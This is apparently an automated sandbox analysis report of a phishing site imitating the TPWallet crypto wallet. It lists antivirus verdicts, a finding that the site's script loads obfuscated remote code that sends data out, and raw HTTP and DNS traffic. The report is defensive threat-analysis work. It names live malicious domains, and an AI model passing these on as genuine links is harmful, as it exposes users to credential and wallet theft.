Edit tour

Windows Analysis Report
http://m.yanhaiegou.com/

Overview

General Information

Sample URL:	http://m.yanhaiegou.com/
Analysis ID:	1589324
Infos:

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

AI detected suspicious Javascript

HTML title does not match URL

Invalid T&C link found

None HTTPS page querying sensitive user data (password, username or email)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 1216 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4456 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=2220,i,11151567539130516511,17712183396881889397,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6536 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://m.yanhaiegou.com/" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 12 Jan 2025 00:07:53 GMTContent-Type: text/htmlContent-Length: 138Connection: keep-aliveETag: "66fe5c56-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Source: http://m.yanhaiegou.com/static/images/hero-bg.png	Avira URL Cloud: Label: phishing
Source: http://m.yanhaiegou.com/static/picture/screen1.jpg	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/static/picture/member2.jpg	Avira URL Cloud: Label: phishing
Source: http://m.yanhaiegou.com/static/picture/app-icon1.png	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/static/js/script.js	Avira URL Cloud: Label: phishing
Source: http://m.yanhaiegou.com/static/images/discover-tools-bg.png	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/static/css/47a4d65fdef1441393cbc8dbe31f5f44.css	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/static/js/slick.min.js	Avira URL Cloud: Label: phishing
Source: http://m.yanhaiegou.com/static/picture/member1.jpg	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/static/picture/hero-dot-shape.png	Avira URL Cloud: Label: phishing
Source: http://m.yanhaiegou.com/static/fonts/flaticon.woff2	Avira URL Cloud: Label: phishing
Source: http://m.yanhaiegou.com/static/js/jquery-3.6.0.min.js	Avira URL Cloud: Label: phishing
Source: http://m.yanhaiegou.com/static/picture/tool2.png	Avira URL Cloud: Label: phishing
Source: http://m.yanhaiegou.com/static/picture/screen4.jpg	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/static/css/flaticon.css	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/static/picture/member4.jpg	Avira URL Cloud: Label: phishing
Source: http://m.yanhaiegou.com/static/picture/tool1.png	Avira URL Cloud: Label: phishing
Source: http://m.yanhaiegou.com/static/images/video-bg.jpg	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/static/js/bootstrap.min.js	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/static/picture/powerful-tools-shape2.png	Avira URL Cloud: Label: phishing
Source: http://m.yanhaiegou.com/static/picture/blog-shape2.png	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/static/css/responsive.css	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/static/picture/powerful-tools-shape1.png	Avira URL Cloud: Label: phishing
Source: http://m.yanhaiegou.com/static/picture/service-shape.png	Avira URL Cloud: Label: phishing
Source: http://m.yanhaiegou.com/static/picture/screen5.jpg	Avira URL Cloud: Label: phishing
Source: http://m.yanhaiegou.com/static/picture/partner2.png	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/static/picture/logo.png	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/static/css/fontawesome-v5.9.0.min.css	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/static/css/leaflet.min.css	Avira URL Cloud: Label: phishing
Source: http://m.yanhaiegou.com/static/picture/member3.jpg	Avira URL Cloud: Label: phishing
Source: http://m.yanhaiegou.com/tj.js	Avira URL Cloud: Label: phishing
Source: http://m.yanhaiegou.com/static/js/leaflet.min.js	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/static/picture/discover-tools-shape1.png	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/static/fonts/fa-brands-400.woff2	Avira URL Cloud: Label: phishing
Source: http://m.yanhaiegou.com/static/picture/blog-shape1.png	Avira URL Cloud: Label: phishing
Source: http://m.yanhaiegou.com/static/picture/partner3.png	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/static/picture/hero-moon-shape.png	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/static/picture/feature-shape3.png	Avira URL Cloud: Label: phishing
Source: http://m.yanhaiegou.com/static/css/slick.min.css	Avira URL Cloud: Label: phishing
Source: http://m.yanhaiegou.com/static/picture/icon1.png	Avira URL Cloud: Label: phishing
Source: http://m.yanhaiegou.com/static/picture/hero-right-shape.png	Avira URL Cloud: Label: phishing
Source: http://m.yanhaiegou.com/static/picture/tool4.png	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/static/picture/partner4.png	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/static/fonts/92zatbhpnqw73otd4g.woff2	Avira URL Cloud: Label: phishing
Source: http://m.yanhaiegou.com/static/picture/discover-tools-shape2.png	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/static/picture/feature-shape2.png	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/static/picture/app-screen-shape.png	Avira URL Cloud: Label: phishing
Source: http://m.yanhaiegou.com/static/images/icon-bg-shape3.png	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/static/css/spacing.min.css	Avira URL Cloud: Label: phishing
Source: http://m.yanhaiegou.com/static/picture/graph.png	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/static/picture/tool3.png	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/static/picture/powerful-tools.png	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/static/css/menu.css	Avira URL Cloud: Label: phishing
Source: http://m.yanhaiegou.com/static/picture/partner1.png	Avira URL Cloud: Label: phishing
Source: http://m.yanhaiegou.com/static/picture/hero-circle-shape.png	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/static/css/style.css	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/static/picture/team-shape.png	Avira URL Cloud: Label: phishing
Source: http://m.yanhaiegou.com/static/picture/mobile-frame.png	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/static/picture/feature-shape1.png	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/static/js/jquery.magnific-popup.min.js	Avira URL Cloud: Label: phishing
Source: http://m.yanhaiegou.com/static/css/magnific-popup.min.css	Avira URL Cloud: Label: phishing
Source: http://m.yanhaiegou.com/static/picture/testimonial-shape.png	Avira URL Cloud: Label: phishing
Source: http://m.yanhaiegou.com/static/picture/partner-shape.png	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/static/picture/app-icon2.png	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/static/picture/icon3.png	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/static/picture/screen3.jpg	Avira URL Cloud: Label: phishing
Source: http://m.yanhaiegou.com/static/images/icon-bg-shape1.png	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/static/css/bootstrap.min.css	Avira URL Cloud: Label: phishing
Source: http://m.yanhaiegou.com/static/fonts/fa-solid-900.woff2	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/static/picture/icon2.png	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/static/images/icon-bg-shape2.png	Avira URL Cloud: Label: phishing
Source: http://m.yanhaiegou.com/static/picture/screen2.jpg	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/images/defaultpic.gif	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/static/picture/discover-tools.png	Avira URL Cloud: Label: phishing
Source: http://m.yanhaiegou.com/static/picture/mobile.png	Avira URL Cloud: Label: malware
Source: http://m.yanhaiegou.com/favicon.ico	Avira URL Cloud: Label: malware

Source: 0.0..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: http://m.yanhaiegou.com/tj.js... This script demonstrates high-risk behavior by dynamically executing remote code from an untrusted domain, which could potentially lead to malicious activities such as data exfiltration or system compromise.
Source: 0.7..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://oudngmslhifnsf.gdmgcyy.com/tj.js... This script exhibits several high-risk behaviors, including dynamic code execution via the `eval()` function, data exfiltration by sending user data to an unknown domain, and redirecting to a suspicious domain. The use of obfuscated code and random subdomain generation further increases the risk. Overall, this script demonstrates a high likelihood of malicious intent and should be treated with caution.

Source: http://m.yanhaiegou.com/	HTTP Parser: Title: tp2024-TPapp(TPWallet)-TPwallet/\| does not match URL
Source: http://m.yanhaiegou.com/#	HTTP Parser: Title: tp2024-TPapp(TPWallet)-TPwallet/\| does not match URL

Source: http://m.yanhaiegou.com/	HTTP Parser: Invalid link: Terms & Conditions
Source: http://m.yanhaiegou.com/	HTTP Parser: Invalid link: Terms & Conditions
Source: http://m.yanhaiegou.com/	HTTP Parser: Invalid link: Privacy Policy
Source: http://m.yanhaiegou.com/	HTTP Parser: Invalid link: Terms & Conditions
Source: http://m.yanhaiegou.com/	HTTP Parser: Invalid link: Terms & Conditions
Source: http://m.yanhaiegou.com/	HTTP Parser: Invalid link: Privacy Policy
Source: http://m.yanhaiegou.com/#	HTTP Parser: Invalid link: Terms & Conditions
Source: http://m.yanhaiegou.com/#	HTTP Parser: Invalid link: Terms & Conditions
Source: http://m.yanhaiegou.com/#	HTTP Parser: Invalid link: Privacy Policy
Source: http://m.yanhaiegou.com/#	HTTP Parser: Invalid link: Terms & Conditions
Source: http://m.yanhaiegou.com/#	HTTP Parser: Invalid link: Terms & Conditions
Source: http://m.yanhaiegou.com/#	HTTP Parser: Invalid link: Privacy Policy
Source: http://m.yanhaiegou.com/#	HTTP Parser: Invalid link: Terms & Conditions
Source: http://m.yanhaiegou.com/#	HTTP Parser: Invalid link: Terms & Conditions
Source: http://m.yanhaiegou.com/#	HTTP Parser: Invalid link: Privacy Policy

Source: http://m.yanhaiegou.com/	HTTP Parser: Has password / email / username input fields
Source: http://m.yanhaiegou.com/#	HTTP Parser: Has password / email / username input fields

Source: http://m.yanhaiegou.com/	HTTP Parser: No <meta name="author".. found
Source: http://m.yanhaiegou.com/	HTTP Parser: No <meta name="author".. found
Source: http://m.yanhaiegou.com/#	HTTP Parser: No <meta name="author".. found
Source: http://m.yanhaiegou.com/#	HTTP Parser: No <meta name="author".. found
Source: http://m.yanhaiegou.com/#	HTTP Parser: No <meta name="author".. found

Source: http://m.yanhaiegou.com/	HTTP Parser: No <meta name="copyright".. found
Source: http://m.yanhaiegou.com/	HTTP Parser: No <meta name="copyright".. found
Source: http://m.yanhaiegou.com/#	HTTP Parser: No <meta name="copyright".. found
Source: http://m.yanhaiegou.com/#	HTTP Parser: No <meta name="copyright".. found
Source: http://m.yanhaiegou.com/#	HTTP Parser: No <meta name="copyright".. found

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: m.yanhaiegou.com
Source: global traffic	DNS traffic detected: DNS query: oudngmslhifnsf.gdmgcyy.com

Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443

Source: global traffic	HTTP traffic detected: GET /tj.js HTTP/1.1Host: oudngmslhifnsf.gdmgcyy.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: http://m.yanhaiegou.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tj.js HTTP/1.1Host: oudngmslhifnsf.gdmgcyy.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: m.yanhaiegou.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/css/47a4d65fdef1441393cbc8dbe31f5f44.css HTTP/1.1Host: m.yanhaiegou.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/css,/;q=0.1Referer: http://m.yanhaiegou.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fenihjn4bc6d0aevh2apje3mj1
Source: global traffic	HTTP traffic detected: GET /static/css/fontawesome-v5.9.0.min.css HTTP/1.1Host: m.yanhaiegou.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/css,/;q=0.1Referer: http://m.yanhaiegou.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fenihjn4bc6d0aevh2apje3mj1
Source: global traffic	HTTP traffic detected: GET /static/css/bootstrap.min.css HTTP/1.1Host: m.yanhaiegou.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/css,/;q=0.1Referer: http://m.yanhaiegou.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fenihjn4bc6d0aevh2apje3mj1
Source: global traffic	HTTP traffic detected: GET /static/css/spacing.min.css HTTP/1.1Host: m.yanhaiegou.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/css,/;q=0.1Referer: http://m.yanhaiegou.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fenihjn4bc6d0aevh2apje3mj1
Source: global traffic	HTTP traffic detected: GET /static/css/magnific-popup.min.css HTTP/1.1Host: m.yanhaiegou.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/css,/;q=0.1Referer: http://m.yanhaiegou.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fenihjn4bc6d0aevh2apje3mj1
Source: global traffic	HTTP traffic detected: GET /static/css/flaticon.css HTTP/1.1Host: m.yanhaiegou.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/css,/;q=0.1Referer: http://m.yanhaiegou.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fenihjn4bc6d0aevh2apje3mj1
Source: global traffic	HTTP traffic detected: GET /static/css/leaflet.min.css HTTP/1.1Host: m.yanhaiegou.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/css,/;q=0.1Referer: http://m.yanhaiegou.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fenihjn4bc6d0aevh2apje3mj1
Source: global traffic	HTTP traffic detected: GET /static/css/slick.min.css HTTP/1.1Host: m.yanhaiegou.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/css,/;q=0.1Referer: http://m.yanhaiegou.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fenihjn4bc6d0aevh2apje3mj1
Source: global traffic	HTTP traffic detected: GET /static/css/menu.css HTTP/1.1Host: m.yanhaiegou.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/css,/;q=0.1Referer: http://m.yanhaiegou.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fenihjn4bc6d0aevh2apje3mj1
Source: global traffic	HTTP traffic detected: GET /static/css/style.css HTTP/1.1Host: m.yanhaiegou.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/css,/;q=0.1Referer: http://m.yanhaiegou.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fenihjn4bc6d0aevh2apje3mj1
Source: global traffic	HTTP traffic detected: GET /static/css/responsive.css HTTP/1.1Host: m.yanhaiegou.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/css,/;q=0.1Referer: http://m.yanhaiegou.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fenihjn4bc6d0aevh2apje3mj1
Source: global traffic	HTTP traffic detected: GET /tj.js HTTP/1.1Host: m.yanhaiegou.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Referer: http://m.yanhaiegou.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fenihjn4bc6d0aevh2apje3mj1
Source: global traffic	HTTP traffic detected: GET /static/picture/logo.png HTTP/1.1Host: m.yanhaiegou.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://m.yanhaiegou.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fenihjn4bc6d0aevh2apje3mj1
Source: global traffic	HTTP traffic detected: GET /static/picture/hero-circle-shape.png HTTP/1.1Host: m.yanhaiegou.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://m.yanhaiegou.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fenihjn4bc6d0aevh2apje3mj1
Source: global traffic	HTTP traffic detected: GET /static/picture/hero-moon-shape.png HTTP/1.1Host: m.yanhaiegou.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://m.yanhaiegou.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fenihjn4bc6d0aevh2apje3mj1
Source: global traffic	HTTP traffic detected: GET /static/picture/hero-dot-shape.png HTTP/1.1Host: m.yanhaiegou.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://m.yanhaiegou.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fenihjn4bc6d0aevh2apje3mj1
Source: global traffic	HTTP traffic detected: GET /static/picture/hero-right-shape.png HTTP/1.1Host: m.yanhaiegou.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://m.yanhaiegou.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fenihjn4bc6d0aevh2apje3mj1
Source: global traffic	HTTP traffic detected: GET /static/js/jquery-3.6.0.min.js HTTP/1.1Host: m.yanhaiegou.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Referer: http://m.yanhaiegou.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fenihjn4bc6d0aevh2apje3mj1
Source: global traffic	HTTP traffic detected: GET /static/js/jquery.magnific-popup.min.js HTTP/1.1Host: m.yanhaiegou.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Referer: http://m.yanhaiegou.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fenihjn4bc6d0aevh2apje3mj1
Source: global traffic	HTTP traffic detected: GET /static/js/bootstrap.min.js HTTP/1.1Host: m.yanhaiegou.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Referer: http://m.yanhaiegou.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fenihjn4bc6d0aevh2apje3mj1
Source: global traffic	HTTP traffic detected: GET /static/js/leaflet.min.js HTTP/1.1Host: m.yanhaiegou.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Referer: http://m.yanhaiegou.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fenihjn4bc6d0aevh2apje3mj1
Source: global traffic	HTTP traffic detected: GET /static/js/slick.min.js HTTP/1.1Host: m.yanhaiegou.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Referer: http://m.yanhaiegou.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fenihjn4bc6d0aevh2apje3mj1
Source: global traffic	HTTP traffic detected: GET /tj.js HTTP/1.1Host: m.yanhaiegou.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fenihjn4bc6d0aevh2apje3mj1
Source: global traffic	HTTP traffic detected: GET /static/picture/logo.png HTTP/1.1Host: m.yanhaiegou.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fenihjn4bc6d0aevh2apje3mj1
Source: global traffic	HTTP traffic detected: GET /static/picture/hero-right-shape.png HTTP/1.1Host: m.yanhaiegou.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fenihjn4bc6d0aevh2apje3mj1
Source: global traffic	HTTP traffic detected: GET /static/picture/hero-moon-shape.png HTTP/1.1Host: m.yanhaiegou.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fenihjn4bc6d0aevh2apje3mj1
Source: global traffic	HTTP traffic detected: GET /static/picture/hero-dot-shape.png HTTP/1.1Host: m.yanhaiegou.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fenihjn4bc6d0aevh2apje3mj1
Source: global traffic	HTTP traffic detected: GET /static/picture/hero-circle-shape.png HTTP/1.1Host: m.yanhaiegou.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fenihjn4bc6d0aevh2apje3mj1
Source: global traffic	HTTP traffic detected: GET /static/js/script.js HTTP/1.1Host: m.yanhaiegou.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Referer: http://m.yanhaiegou.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fenihjn4bc6d0aevh2apje3mj1
